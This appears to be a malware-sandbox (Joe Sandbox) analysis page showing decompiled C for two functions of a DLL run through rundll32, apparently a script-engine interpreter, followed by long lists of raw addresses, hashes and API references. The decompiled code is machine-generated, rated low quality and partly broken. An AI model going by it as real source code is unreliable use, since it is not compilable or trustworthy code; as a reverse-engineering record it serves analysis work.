Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Dispatcher@Script@@$Entry@2@PropProperties@lregister$Class@ladd$Core@@@String@
String ID: File$Folder$JavaScript
API String ID: 3790487761-727138112
Opcode ID: f872631ea8f9484bc4c75c075d03c51cd0ef4eb82d1fad6c5034dcca696c31ac
Instruction ID: aaedb7a2cee933096383b5c2e3d212fe5ddb4dfb4426512635d5d072259a5489
Opcode Fuzzy Hash: f872631ea8f9484bc4c75c075d03c51cd0ef4eb82d1fad6c5034dcca696c31ac
Instruction Fuzzy Hash: 3501B934B5C7A877E618CB489C12FADB6D6E714B50F00411AF6056B3C5DB757A0043C8

Uniqueness

Uniqueness Score: -1.00%

Function 10014DD0 Relevance: 14.4, APIs: 6, Strings: 2, Instructions: 397
COMMON

Download Yara Rule

C-Code - Quality: 21%

			E10014DD0(signed int __ecx, intOrPtr _a4, char* _a8, char _a12, char* _a16, intOrPtr _a20, signed int _a24) {
				signed int _v8;
				char _v16;
				intOrPtr _v20;
				signed int _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char* _v36;
				char _v48;
				char _v60;
				signed int _t150;
				char* _t152;
				char* _t155;
				char _t156;
				intOrPtr _t159;
				signed char _t160;
				intOrPtr* _t183;
				void* _t187;
				signed char _t189;
				char* _t190;
				char _t191;
				intOrPtr _t214;
				char* _t216;
				intOrPtr _t221;
				void* _t226;
				intOrPtr _t230;
				intOrPtr* _t231;
				intOrPtr* _t232;
				char* _t233;
				char* _t242;
				char _t303;
				intOrPtr _t304;
				intOrPtr _t310;
				void* _t312;
				signed int _t315;
				signed int _t317;
				signed int _t319;
				void* _t320;

				_push(0xffffffff);
				_push(0x1005fa26);
				_push( *[fs:0x0]);
				_t150 =  *0x10094144; // 0xa412de5e
				_push(_t150 ^ _t319);
				_t152 =  &_v16;
				 *[fs:0x0] = _t152;
				_v20 = _t320 - 0x2c;
				_t315 = __ecx;
				_v24 = __ecx;
				if( *((char*)(__ecx + 0x10a)) != 0) {
					L72:
					 *[fs:0x0] = _v16;
					return _t152;
				} else {
					_t230 = _a4;
					_t310 = _a20;
					if(_t230 != 0x50) {
						 *0x1006a2c8();
					}
					if( *((intOrPtr*)(_t315 + 0xd0)) != 0) {
						 *0x1006a32c();
						_t231 = _a16;
						_v8 = 1;
						if(_t230 == 0x43) {
							 *0x1006a4c4( *((intOrPtr*)( *((intOrPtr*)( *_t231 + 4))))());
							_t214 =  *_t231;
							_t295 =  *(_t214 + 4);
							_t312 = 0;
							if( *( *(_t214 + 4))() != 0) {
								do {
									_t216 =  *0x1006a560(_t312);
									_a16 = _t216;
									 *0x1006a170( *0x1006a308(_t312));
									 *((intOrPtr*)( *((intOrPtr*)( *_t315 + 0xe0))))(_a16, 1);
									_t221 =  *_t231;
									_t295 =  *(_t221 + 4);
									_t312 = _t312 + 1;
								} while (_t312 <  *( *(_t221 + 4))());
							}
							_t310 = _a20;
						}
						if(E10009120(_t315) != 0) {
							_t304 =  *((intOrPtr*)(E10009120(_t315)));
							_t295 =  *(_t304 + 0x24);
							 *( *(_t304 + 0x24))(_t315, 0x73746172, 0 |  *((intOrPtr*)(_t315 + 0x6c)) != 0x00000000);
						}
						_t155 = _a8;
						_v28 = _t155;
						if(_t155 != 0) {
							 *((intOrPtr*)(_t155 + 0x22)) =  *((intOrPtr*)(_t155 + 0x22)) + 1;
						}
						_t156 = _a12;
						_v32 = _t156;
						if(_t156 != 0) {
							 *((intOrPtr*)(_t156 + 0x22)) =  *((intOrPtr*)(_t156 + 0x22)) + 1;
						}
						_v8 = 4;
						if( *((intOrPtr*)(_t315 + 0xc8)) != 0) {
							L42:
							 *0x1006a2c8();
							goto L43;
						} else {
							_t187 = _a4 + 0xffffffbd;
							if(_t187 <= 0xd) {
								switch( *((intOrPtr*)(( *(_t187 + 0x1001536c) & 0x000000ff) * 4 +  &M10015358))) {
									case 0:
										if((_a24 & 0x00000100) == 0) {
											__ecx = _a8;
											 *__ecx =  *((intOrPtr*)( *__ecx + 0xa4));
											_push(__edi);
											__edx =  &_v48;
											_push( &_v48);
											__edx = _a12;
											_push(__edx);
											goto L25;
										} else {
											__eax = _a8;
											__ecx =  *((intOrPtr*)(__eax + 0x72));
											__edx =  *__esi;
											__edx =  *((intOrPtr*)( *__esi + 0xd4));
											_push(__eax);
											__eax =  &_v48;
											_push( &_v48);
											_push(__ecx);
											_push(__edi);
											__ecx = __esi;
											__eax =  *__edx();
										}
										goto L26;
									case 1:
										_push(0);
										_t205 =  *0x1006a308();
										_t273 =  *0x1009415c; // 0x0
										_t206 = E10004140(_t273, _t205);
										_t295 =  *_a8;
										_push(0);
										_push(_t310);
										_push(_t206);
										_t207 =  *((intOrPtr*)( *_a8 + 0x94));
										goto L25;
									case 2:
										__ecx = _a8;
										__edx =  *__ecx;
										__eax = _a12;
										__edx =  *((intOrPtr*)( *__ecx + 0xa8));
										_push(_a12);
										__eax =  *__edx();
										goto L26;
									case 3:
										_push(0);
										__ecx = __ebx;
										__eax =  *0x1006a308();
										__ecx =  *0x1009415c; // 0x0
										__eax = E10004140(__ecx, __eax);
										__ecx = _a8;
										__edx =  *__ecx;
										_push(0);
										_push(__edi);
										_push(__eax);
										__eax =  *((intOrPtr*)(__edx + 4));
										L25:
										 *_t207();
										goto L26;
									case 4:
										goto L26;
								}
							}
							L26:
							if( *((intOrPtr*)(_t315 + 0xc8)) != 0) {
								goto L42;
							} else {
								if( *0x1006a204() == 5 && _a24 != 0) {
									_t295 =  *_t315;
									 *((intOrPtr*)( *((intOrPtr*)( *_t315 + 0xe0))))(_t310, 1);
								}
								if( *((intOrPtr*)(_t310 + 0x10)) != 5) {
									L43:
									_v8 = 3;
								} else {
									_t233 =  *(_t310 + 8);
									if(_t233 == 0) {
										goto L43;
									} else {
										_t189 = _a24;
										if((_t189 & 0x00000003) != 0) {
											_t233[0x22] = _t233[0x22] + 1;
											_v36 = _t233;
											 *(_t315 + 0x9c) = _t233;
											_t303 =  *_t233;
											_t295 =  *(_t303 + 0x3c);
											_a16 =  *(_t315 + 0x9c);
											_v8 = 5;
											 *( *(_t303 + 0x3c))(_t310, _t189 & 1);
											 *(_t315 + 0x9c) = _a16;
											if( *0x1006a204() == 5) {
												_t295 =  *_t315;
												 *((intOrPtr*)( *((intOrPtr*)( *_t315 + 0x24))))(0x17);
											}
											_t83 =  &(_t233[0x22]);
											 *_t83 = _t233[0x22] - 1;
											_v8 = 4;
											if( *_t83 == 0) {
												_t295 =  *_t233;
												 *((intOrPtr*)( *((intOrPtr*)( *_t233 + 0x14))))();
											}
										}
										if( *((intOrPtr*)(_t310 + 0x10)) != 5) {
											goto L43;
										} else {
											_t190 =  *(_t310 + 8);
											if(_t190 == 0 || _t190[0x6e] == 0x2000008d) {
												goto L43;
											} else {
												_t191 = _t190[0x14];
												if(_t191 == 0) {
													goto L43;
												} else {
													 *0x1006a468(_t191, 0);
													_v8 = 3;
												}
											}
										}
									}
								}
							}
						}
						_t232 = _a12;
						if(_a4 == 0x43 && ( *(_t315 + 0x1c) & 0x0000ff00) != 0) {
							E10012D10(_t315, _t295, 0);
						}
						if(E10009120(_t315) != 0) {
							_t183 = E10009120(_t315);
							 *((intOrPtr*)( *((intOrPtr*)( *_t183 + 0x24))))(_t315, 0x73746f70, 0 |  *((intOrPtr*)(_t315 + 0x6c)) != 0x00000000);
						}
						_t159 =  *((intOrPtr*)(_t315 + 0x7c));
						if(_t159 != 0 &&  *((char*)(_t315 + 0xce)) != 0) {
							 *0x1006a160();
							_a12 = _t159 + 4;
							 *0x1006a3d4();
							_v8 = 9;
							if( *((intOrPtr*)(_t315 + 0x6c)) == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t315 + 0x7c)))) + 8))))(_t315);
								 *((char*)(_t315 + 0xce)) = 0;
							}
							_v8 = 3;
							 *0x1006a3d8();
						}
						_t160 = _a24;
						if((_t160 & 0x00000040) == 0) {
							L59:
							if( *((intOrPtr*)(_t315 + 0xc8)) != 0 &&  *((intOrPtr*)(_t315 + 0x6c)) == 0) {
								E10012F90(_t315);
							}
						} else {
							if( *((intOrPtr*)(_t315 + 0xc8)) != 0) {
								if((_t160 & 0x00000001) == 0) {
									E10014420(_t315, _a20);
								} else {
									 *0x1006a190();
									_v8 = 0xa;
									 *((intOrPtr*)( *((intOrPtr*)( *_t315 + 0x34))))( &_a12);
									 *0x1006a3dc();
									 *0x1006a290( &_a12);
									_v8 = 3;
									 *0x1006a184();
								}
								goto L59;
							}
						}
						if( *((intOrPtr*)(_t315 + 0xc8)) == 0xffffffe4) {
							 *0x1006a550();
							if( *0x1006a54c() != 0) {
								_a8 = "bad allocation";
								 *0x1006a0f8( &_a8, 1);
								_push(0x1007bf6c);
								_push( &_v60);
								_v60 = 0x1006cafc;
								L1005C168();
							}
						}
						_t317 = _t315 | 0xffffffff;
						_v8 = 2;
						if(_t232 != 0) {
							_t138 = _t232 + 0x22;
							 *_t138 =  *((intOrPtr*)(_t232 + 0x22)) + _t317;
							if( *_t138 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t232 + 0x14))))();
							}
						}
						_t242 = _a8;
						_v8 = 1;
						if(_t242 != 0) {
							_t143 =  &(_t242[0x22]);
							 *_t143 = _t242[0x22] + _t317;
							if( *_t143 == 0) {
								 *((intOrPtr*)( *((intOrPtr*)( *_t242 + 0x14))))();
							}
						}
						_v8 = _t317;
						_t152 =  *0x1006a31c();
						goto L72;
					} else {
						 *0x1006a248("Engine not initialized");
						_v8 = 0;
						 *((intOrPtr*)( *((intOrPtr*)( *_t315 + 0x2c))))(1,  &_a12, 0xffffffff, 0);
						_v8 = 0xffffffff;
						_t226 =  *0x1006a184();
						 *[fs:0x0] = _v16;
						return _t226;
					}
				}
			}

0x10014dd3
0x10014dd5
0x10014de0
0x10014de7
0x10014dee
0x10014def
0x10014df2
0x10014df8
0x10014dfb
0x10014dfd
0x10014e07
0x10015344
0x10015347
0x10015355
0x10014e0d
0x10014e0d
0x10014e10
0x10014e16
0x10014e1a
0x10014e1a
0x10014e27
0x10014e78
0x10014e81
0x10014e84
0x10014e8b
0x10014e9a
0x10014ea0
0x10014ea2
0x10014ea7
0x10014ead
0x10014eb0
0x10014eb4
0x10014ebd
0x10014eca
0x10014ee0
0x10014ee2
0x10014ee4
0x10014ee9
0x10014eec
0x10014eb0
0x10014ef0
0x10014ef0
0x10014efc
0x10014f05
0x10014f07
0x10014f1b
0x10014f1b
0x10014f1d
0x10014f20
0x10014f25
0x10014f27
0x10014f27
0x10014f2a
0x10014f2d
0x10014f32
0x10014f34
0x10014f34
0x10014f3e
0x10014f42
0x100150d5
0x100150d7
0x00000000
0x10014f48
0x10014f4b
0x10014f51
0x10014f5e
0x00000000
0x10014fca
0x10014fe7
0x10014fec
0x10014ff2
0x10014ff3
0x10014ff6
0x10014ff7
0x10014ffa
0x00000000
0x10014fcc
0x10014fcc
0x10014fcf
0x10014fd2
0x10014fd4
0x10014fda
0x10014fdb
0x10014fde
0x10014fdf
0x10014fe0
0x10014fe1
0x10014fe3
0x10014fe3
0x00000000
0x00000000
0x10014f65
0x10014f69
0x10014f6f
0x10014f76
0x10014f7e
0x10014f80
0x10014f82
0x10014f83
0x10014f84
0x00000000
0x00000000
0x10014fb0
0x10014fb3
0x10014fb5
0x10014fb8
0x10014fbe
0x10014fbf
0x00000000
0x00000000
0x10014f8c
0x10014f8e
0x10014f90
0x10014f96
0x10014f9d
0x10014fa2
0x10014fa5
0x10014fa7
0x10014fa9
0x10014faa
0x10014fab
0x10014ffb
0x10014ffb
0x00000000
0x00000000
0x00000000
0x00000000
0x10014f5e
0x10014ffd
0x10015004
0x00000000
0x1001500a
0x10015015
0x1001501d
0x1001502a
0x1001502a
0x10015030
0x100150dd
0x100150dd
0x10015036
0x10015036
0x1001503b
0x00000000
0x10015041
0x10015041
0x10015046
0x10015048
0x1001504b
0x10015059
0x1001505f
0x10015061
0x10015065
0x1001506b
0x1001506f
0x10015076
0x10015085
0x10015087
0x10015090
0x10015090
0x10015092
0x10015092
0x10015095
0x10015099
0x1001509b
0x100150a2
0x100150a2
0x10015099
0x100150a8
0x00000000
0x100150aa
0x100150aa
0x100150af
0x00000000
0x100150ba
0x100150ba
0x100150bf
0x00000000
0x100150c1
0x100150c6
0x100150cc
0x100150cc
0x100150bf
0x100150af
0x100150a8
0x1001503b
0x10015030
0x10015004
0x10015116
0x10015119
0x10015128
0x10015128
0x10015136
0x1001513a
0x10015155
0x10015155
0x10015157
0x1001515c
0x1001516d
0x10015175
0x10015178
0x10015182
0x10015186
0x10015191
0x10015193
0x10015193
0x1001519d
0x100151a1
0x100151a1
0x100151a7
0x100151ac
0x100152aa
0x100152b1
0x100152ba
0x100152bf
0x100151b2
0x100151b9
0x100151c1
0x100152a5
0x100151c7
0x100151ca
0x100151db
0x100151df
0x100151e3
0x100151f0
0x100151f9
0x100151fd
0x100151fd
0x00000000
0x100151c1
0x100151b9
0x100152c9
0x100152cb
0x100152db
0x100152e6
0x100152ed
0x100152f3
0x100152fb
0x100152fc
0x10015303
0x10015303
0x100152db
0x10015308
0x1001530b
0x10015311
0x10015313
0x10015313
0x10015316
0x1001531f
0x1001531f
0x10015316
0x10015321
0x10015324
0x1001532a
0x1001532c
0x1001532c
0x1001532f
0x10015336
0x10015336
0x1001532f
0x1001533b
0x1001533e
0x00000000
0x10014e29
0x10014e31
0x10014e48
0x10014e4f
0x10014e54
0x10014e5b
0x10014e64
0x10014e72
0x10014e72
0x10014e27

APIs

lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 10014EF5
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 10014F00
ladd@DataPool@ScScript@@QAEHABVVariant@ScCore@@@Z.MAIN(00000000), ref: 10014F76
ladd@DataPool@ScScript@@QAEHABVVariant@ScCore@@@Z.MAIN(00000000), ref: 10014F9D
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 1001512F
lgetCallback@Engine@ScScript@@QBEPAVCallback@2@XZ.MAIN ref: 1001513A

Strings

C, xrefs: 10015112
Engine not initialized, xrefs: 10014E29

Memory Dump Source

Source File: 00000004.00000002.385402302.0000000010001000.00000020.00000001.01000000.00000006.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.385397966.0000000010000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385452073.000000001006A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385468383.0000000010092000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385473323.0000000010094000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000004.00000002.385478062.0000000010095000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_rundll32.jbxd

Similarity

API ID: Script@@$Callback@Callback@2@Engine@lget$Core@@@DataPool@Variant@ladd@
String ID: C$Engine not initialized
API String ID: 356191326-483028992
Opcode ID: e3816373926427ee4bd4ab01c1bade8c672c82422c12026644f51b2bc3394ef7
Instruction ID: 2fbeee61e6b85625270ce8a18f8a898ff6354d029d429a7922b017fb5059fdbc
Opcode Fuzzy Hash: e3816373926427ee4bd4ab01c1bade8c672c82422c12026644f51b2bc3394ef7
Instruction Fuzzy Hash: DBF18874600245DFDB04DFA4C894BAEB7F6FF89341F118119E8168B3A1DBB5EA85CB90

Uniqueness

Uniqueness Score: -1.00%

Function 1003CD00 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 348
COMMON

Download Yara Rule

C-Code - Quality: 54%

			E1003CD00(void* __ecx, void* __edx, void* __fp0, void* _a4) {
				char _v8;
				char _v16;
				char _v17;
				intOrPtr _v24;
				intOrPtr* _v28;
				intOrPtr* _v32;
				intOrPtr _v36;
				void* _v40;
				void* _v88;
				char _v92;
				signed int _t85;
				intOrPtr _t92;
				intOrPtr* _t93;
				intOrPtr* _t94;
				void* _t112;
				intOrPtr* _t119;
				intOrPtr* _t123;
				intOrPtr* _t124;
				intOrPtr _t126;
				void* _t128;
				intOrPtr* _t130;
				void* _t132;
				intOrPtr _t133;
				intOrPtr* _t182;
				void* _t187;
				signed int _t192;
				void* _t193;
				void* _t194;
				void* _t201;

				_t201 = __fp0;
				_push(0xffffffff);
				_push(0x100653fb);
				_push( *[fs:0x0]);
				_t194 = _t193 - 0x4c;
				_t85 =  *0x10094144; // 0xa412de5e
				_push(_t85 ^ _t192);
				 *[fs:0x0] =  &_v16;
				_t187 = __ecx;
				if((E10009E50() & 0xffffff00 |  &_v17 -  *((intOrPtr*)(_t88 + 0x10)) > 0x00000000) != 0) {
					_t176 =  *((intOrPtr*)(_t187 + 0x88));
					_t182 = 0;
					 *((intOrPtr*)(_t187 + 0x88)) =  &_v40;
					 *((char*)(_t187 + 0x100)) = 0;
					_v40 = 0;
					_v32 = 0;
					_v36 =  *((intOrPtr*)(_t187 + 0x88));
					__eflags =  *((intOrPtr*)(_t187 + 0x7e));
					if( *((intOrPtr*)(_t187 + 0x7e)) == 0) {
						while(1) {
							__eflags =  *((intOrPtr*)(_t187 + 0xa8)) - 2;
							if( *((intOrPtr*)(_t187 + 0xa8)) != 2) {
								goto L19;
							}
							_t19 = _t187 + 4; // 0x4
							_t112 = E100436F0(_t19);
							__eflags = _t112 - 0x3a;
							if(_t112 == 0x3a) {
								E10043420( &_v92);
								_t22 = _t187 + 4; // 0x4
								_v8 = 1;
								E10044D80(_t22, _t201,  &_v92, 0);
								__eflags = _v92 - 0x4000003a;
								if(_v92 != 0x4000003a) {
									_t40 = _t187 + 4; // 0x4
									E100435F0(_t40,  &_v92);
									_v8 = 0xffffffff;
									 *0x1006a1c8();
								} else {
									__eflags = _v32;
									_t176 =  *((intOrPtr*)(_t187 + 0x8c));
									_t27 = _t187 + 0x8c; // 0x8c
									_t132 = _t27;
									_v24 =  *((intOrPtr*)(_t187 + 0x8c));
									if(_v32 == 0) {
										_t123 =  *0x1006a1d0(0x28);
										_t194 = _t194 + 4;
										_v28 = _t123;
										_v8 = 2;
										__eflags = _t123;
										if(_t123 == 0) {
											_t124 = 0;
											__eflags = 0;
										} else {
											_t124 = E10038270(_t132);
										}
										_v8 = 1;
										_v32 = _t124;
									}
									E1003A9F0(_t187, 0);
									_t133 = _v24;
									_t119 =  *0x1006a3ac(_t133);
									__eflags = _t119;
									if(_t119 < 0) {
										__eflags = _v32 + 0x20;
										 *0x1006a180(_t133);
									} else {
										E1003AAC0(_t187, _t176, 0xb, 0);
									}
									_v8 = 0xffffffff;
									 *0x1006a1c8();
									__eflags =  *((char*)(_t187 + 0x7e));
									if( *((char*)(_t187 + 0x7e)) == 0) {
										continue;
									} else {
									}
								}
							}
							goto L19;
						}
					}
					L19:
					_t92 =  *((intOrPtr*)(_t187 + 0x8c));
					 *((intOrPtr*)(_t187 + 0xf4)) =  *((intOrPtr*)(_t187 + 0xf4)) + 1;
					_t46 = _t187 + 0x8c; // 0x8c
					_t130 = _t46;
					__eflags = _t92 - 0x4000003b;
					if(__eflags > 0) {
						_t93 = _t92 - 0x4000007b;
						__eflags = _t93;
						if(__eflags == 0) {
							_t94 = E1003D3A0(_t187, _t176, __eflags, _t201, 0);
							goto L57;
						} else {
							__eflags = _t93 == 2;
							if(_t93 == 2) {
								__eflags =  *((intOrPtr*)(_t187 + 0xe8));
								if( *((intOrPtr*)(_t187 + 0xe8)) < 0) {
									E1003AAC0(_t187, _t176, 0xd, 0);
								}
							} else {
								goto L53;
							}
						}
						goto L58;
					} else {
						if(__eflags == 0) {
							_t182 = 0;
							goto L58;
						} else {
							__eflags = _t92 - 0x6b;
							if(_t92 > 0x6b) {
								L53:
								_t94 = E1003E550(_t187, _t176, _t201, 0, 0);
								goto L57;
							} else {
								switch( *((intOrPtr*)(( *(_t92 + 0x1003d1bc) & 0x000000ff) * 4 +  &M1003D17C))) {
									case 0:
										__eflags =  *((intOrPtr*)(__esi + 0xa8));
										if( *((intOrPtr*)(__esi + 0xa8)) != 0) {
											goto L53;
										} else {
											__eflags =  *((intOrPtr*)(__esi + 0xe8));
											if( *((intOrPtr*)(__esi + 0xe8)) < 0) {
												__eflags =  *((char*)(__esi + 0x7e));
												if( *((char*)(__esi + 0x7e)) != 0) {
													_push(0);
													_push(0x33);
													goto L47;
												}
											} else {
												_push(0);
												_push(0xe);
												L47:
												__ecx = __esi;
												__eax = E1003AAC0(__esi, __edx);
											}
											__edx = _v36;
											_push(0x20);
											 *((intOrPtr*)(__esi + 0x88)) = _v36;
											__eax =  *0x1006a1d0();
											__esp = __esp + 4;
											_a4 = __eax;
											_v8 = 4;
											__eflags = __eax;
											if(__eax == 0) {
												goto L3;
											} else {
												__ecx = __eax;
												__eax = E10037F00(__eax, __ebx);
												__ecx = _v16;
												 *[fs:0x0] = _v16;
												_pop(__ecx);
												_pop(__esi);
												_pop(__ebx);
												return __eax;
											}
										}
										goto L75;
									case 1:
										__ecx = __esi;
										__eax = E1003ACB0(__ecx, __edx);
										goto L57;
									case 2:
										__ecx = __esi;
										__eax = E1003AAC0(__ecx, __edx, 0x10, 0);
										goto L58;
									case 3:
										__eflags = _a4;
										if(_a4 != 0) {
											__ecx = __esi;
											__eax = E1003AAC0(__esi, __edx, 8, 0);
										}
										__ecx = __esi;
										__eax = E1003C9C0(__ecx);
										goto L57;
									case 4:
										_push(0x20);
										__eax =  *0x1006a1d0();
										__esp = __esp + 4;
										_a4 = __eax;
										_v8 = 3;
										__eflags = __eax;
										if(__eax == 0) {
											__eax = 0;
											__eflags = 0;
										} else {
											__ecx = __eax;
											__eax = E10037280(__ebx);
										}
										__ecx = __esi;
										_v8 = 0xffffffff;
										__eax = E1003A9F0(__ecx, 0);
										goto L58;
									case 5:
										__ecx = __esi;
										__eax = E1003B700(__ecx);
										goto L57;
									case 6:
										__ecx = __esi;
										__eax = E1003C9E0(__ecx);
										goto L57;
									case 7:
										__ecx = __esi;
										__eax = E1003D480(__ecx, __fp0);
										goto L57;
									case 8:
										__ecx = __esi;
										__eax = E1003B810(__ecx, __edx);
										goto L57;
									case 9:
										__ecx = __esi;
										__eax = E1003AEA0(__edx);
										goto L57;
									case 0xa:
										_t94 = E1003B3B0(_t187, _t176);
										goto L57;
									case 0xb:
										__ecx = __esi;
										__eax = E1003AF80(__edx);
										goto L57;
									case 0xc:
										__ecx = __esi;
										__eax = E1003BA30(__ecx, __edx);
										goto L57;
									case 0xd:
										__ecx = __esi;
										__eax = E1003BCD0(__ecx, __edx);
										goto L57;
									case 0xe:
										__ecx = __esi;
										__eax = E1003B010(__edx);
										L57:
										_t182 = _t94;
										L58:
										 *((intOrPtr*)(_t187 + 0xf4)) =  *((intOrPtr*)(_t187 + 0xf4)) - 1;
										__eflags =  *_t130 - 0x4000003b;
										while( *_t130 == 0x4000003b) {
											 *((char*)(_t187 + 0x100)) = 1;
											E1003A9F0(_t187, 0);
											__eflags =  *_t130 - 0x4000003b;
										}
										__eflags = _t182;
										if(_t182 == 0) {
											_push(0x20);
											_t107 =  *0x1006a1d0();
											_t194 = _t194 + 4;
											_a4 = _t107;
											_v8 = 5;
											__eflags = _t107;
											if(_t107 == 0) {
												_t108 = 0;
												__eflags = 0;
											} else {
												_t108 = E10037F00(_t107, _t130);
											}
											_v8 = 0xffffffff;
											_t182 = _t108;
										}
										__eflags = _v32;
										if(_v32 != 0) {
											__eflags =  *((intOrPtr*)(_t182 + 8)) - 0x33;
											if( *((intOrPtr*)(_t182 + 8)) != 0x33) {
												L73:
												 *((intOrPtr*)(_v32 + 0x24)) = _t182;
												_t182 = _v32;
											} else {
												_push( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *_t182 + 8))))() + 0x20)) + 8)));
												_t99 =  *0x1006a3ac();
												__eflags = _t99;
												if(_t99 < 0) {
													goto L73;
												} else {
													_t146 = _v32;
													__eflags = _t146;
													if(_t146 != 0) {
														_push(1);
														 *((intOrPtr*)( *((intOrPtr*)( *_t146))))();
													}
													_push(1);
													 *((intOrPtr*)( *((intOrPtr*)( *_t182))))();
													_push(0x20);
													_t102 =  *0x1006a1d0();
													_a4 = _t102;
													_v8 = 6;
													__eflags = _t102;
													if(_t102 == 0) {
														_t182 = 0;
													} else {
														_t182 = E10037F00(_t102, _t130);
													}
												}
											}
										}
										 *((intOrPtr*)(_t187 + 0x88)) = _v36;
										 *[fs:0x0] = _v16;
										return _t182;
										goto L75;
									case 0xf:
										goto L53;
								}
							}
						}
					}
				} else {
					E1003AAC0(_t187, __edx, 0x1b, 0);
					_t126 =  *0x1006a1d0(0x20);
					_a4 = _t126;
					_v8 = 0;
					if(_t126 == 0) {
						L3:
						__eflags = 0;
						 *[fs:0x0] = _v16;
						return 0;
					} else {
						_t128 = E10037280(_t187 + 0x8c);
						 *[fs:0x0] = _v16;
						return _t128;
					}
				}
				L75:
			}

0x1003cd00
0x1003cd03
0x1003cd05
0x1003cd10
0x1003cd11
0x1003cd17
0x1003cd1e
0x1003cd22
0x1003cd28
0x1003cd3a
0x1003cd98
0x1003cda1
0x1003cda3
0x1003cdac
0x1003cdb3
0x1003cdb6
0x1003cdb9
0x1003cdbc
0x1003cdbe
0x1003cdc4
0x1003cdc4
0x1003cdcb
0x00000000
0x00000000
0x1003cdd1
0x1003cdd4
0x1003cdd9
0x1003cddd
0x1003cde6
0x1003cdf1
0x1003cdf4
0x1003cdfb
0x1003ce00
0x1003ce07
0x1003cea2
0x1003cea5
0x1003cead
0x1003ceb4
0x1003ce0d
0x1003ce0d
0x1003ce11
0x1003ce17
0x1003ce17
0x1003ce1d
0x1003ce20
0x1003ce24
0x1003ce2a
0x1003ce2d
0x1003ce30
0x1003ce34
0x1003ce36
0x1003ce42
0x1003ce42
0x1003ce38
0x1003ce3b
0x1003ce3b
0x1003ce44
0x1003ce48
0x1003ce48
0x1003ce4f
0x1003ce57
0x1003ce5e
0x1003ce64
0x1003ce66
0x1003ce79
0x1003ce7c
0x1003ce68
0x1003ce6e
0x1003ce6e
0x1003ce85
0x1003ce8c
0x1003ce92
0x1003ce96
0x00000000
0x00000000
0x1003ce9c
0x1003ce96
0x1003ce07
0x00000000
0x1003cddd
0x1003cdc4
0x1003ceba
0x1003ceba
0x1003cec0
0x1003cec6
0x1003cec6
0x1003cecc
0x1003ced1
0x1003d050
0x1003d050
0x1003d055
0x1003d083
0x00000000
0x1003d057
0x1003d057
0x1003d05a
0x1003d069
0x1003d070
0x1003d078
0x1003d078
0x00000000
0x00000000
0x00000000
0x1003d05a
0x00000000
0x1003ced7
0x1003ced7
0x1003d04c
0x00000000
0x1003cedd
0x1003cedd
0x1003cee0
0x1003d05c
0x1003d062
0x00000000
0x1003cee6
0x1003ceed
0x00000000
0x1003cfe1
0x1003cfe8
0x00000000
0x1003cfea
0x1003cfea
0x1003cff1
0x1003cff9
0x1003cffd
0x1003cfff
0x1003d001
0x00000000
0x1003d001
0x1003cff3
0x1003cff3
0x1003cff5
0x1003d003
0x1003d003
0x1003d005
0x1003d005
0x1003d00a
0x1003d00d
0x1003d00f
0x1003d015
0x1003d01b
0x1003d01e
0x1003d021
0x1003d028
0x1003d02a
0x00000000
0x1003d030
0x1003d031
0x1003d033
0x1003d038
0x1003d03b
0x1003d042
0x1003d044
0x1003d045
0x1003d049
0x1003d049
0x1003d02a
0x00000000
0x00000000
0x1003cf48
0x1003cf4a
0x00000000
0x00000000
0x1003cf70
0x1003cf72
0x00000000
0x00000000
0x1003cfc4
0x1003cfc8
0x1003cfce
0x1003cfd0
0x1003cfd0
0x1003cfd5
0x1003cfd7
0x00000000
0x00000000
0x1003cf88
0x1003cf8a
0x1003cf90
0x1003cf93
0x1003cf96
0x1003cf9d
0x1003cf9f
0x1003cfab
0x1003cfab
0x1003cfa1
0x1003cfa2
0x1003cfa4
0x1003cfa4
0x1003cfaf
0x1003cfb1
0x1003cfba
0x00000000
0x00000000
0x1003cf00
0x1003cf02
0x00000000
0x00000000
0x1003cf0c
0x1003cf0e
0x00000000
0x00000000
0x1003cf7c
0x1003cf7e
0x00000000
0x00000000
0x1003cf18
0x1003cf1a
0x00000000
0x00000000
0x1003cf24
0x1003cf26
0x00000000
0x00000000
0x1003cef6
0x00000000
0x00000000
0x1003cf54
0x1003cf56
0x00000000
0x00000000
0x1003cf60
0x1003cf62
0x00000000
0x00000000
0x1003cf30
0x1003cf32
0x00000000
0x00000000
0x1003cf3c
0x1003cf3e
0x1003d088
0x1003d088
0x1003d08a
0x1003d08a
0x1003d090
0x1003d096
0x1003d09c
0x1003d0a3
0x1003d0a8
0x1003d0a8
0x1003d0b0
0x1003d0b2
0x1003d0b4
0x1003d0b6
0x1003d0bc
0x1003d0bf
0x1003d0c2
0x1003d0c9
0x1003d0cb
0x1003d0d7
0x1003d0d7
0x1003d0cd
0x1003d0d0
0x1003d0d0
0x1003d0d9
0x1003d0e0
0x1003d0e0
0x1003d0e2
0x1003d0e6
0x1003d0e8
0x1003d0ec
0x1003d152
0x1003d155
0x1003d158
0x1003d0ee
0x1003d0fd
0x1003d104
0x1003d10a
0x1003d10c
0x00000000
0x1003d10e
0x1003d10e
0x1003d111
0x1003d113
0x1003d119
0x1003d11b
0x1003d11b
0x1003d121
0x1003d125
0x1003d127
0x1003d129
0x1003d132
0x1003d135
0x1003d13c
0x1003d13e
0x1003d14e
0x1003d140
0x1003d148
0x1003d148
0x1003d13e
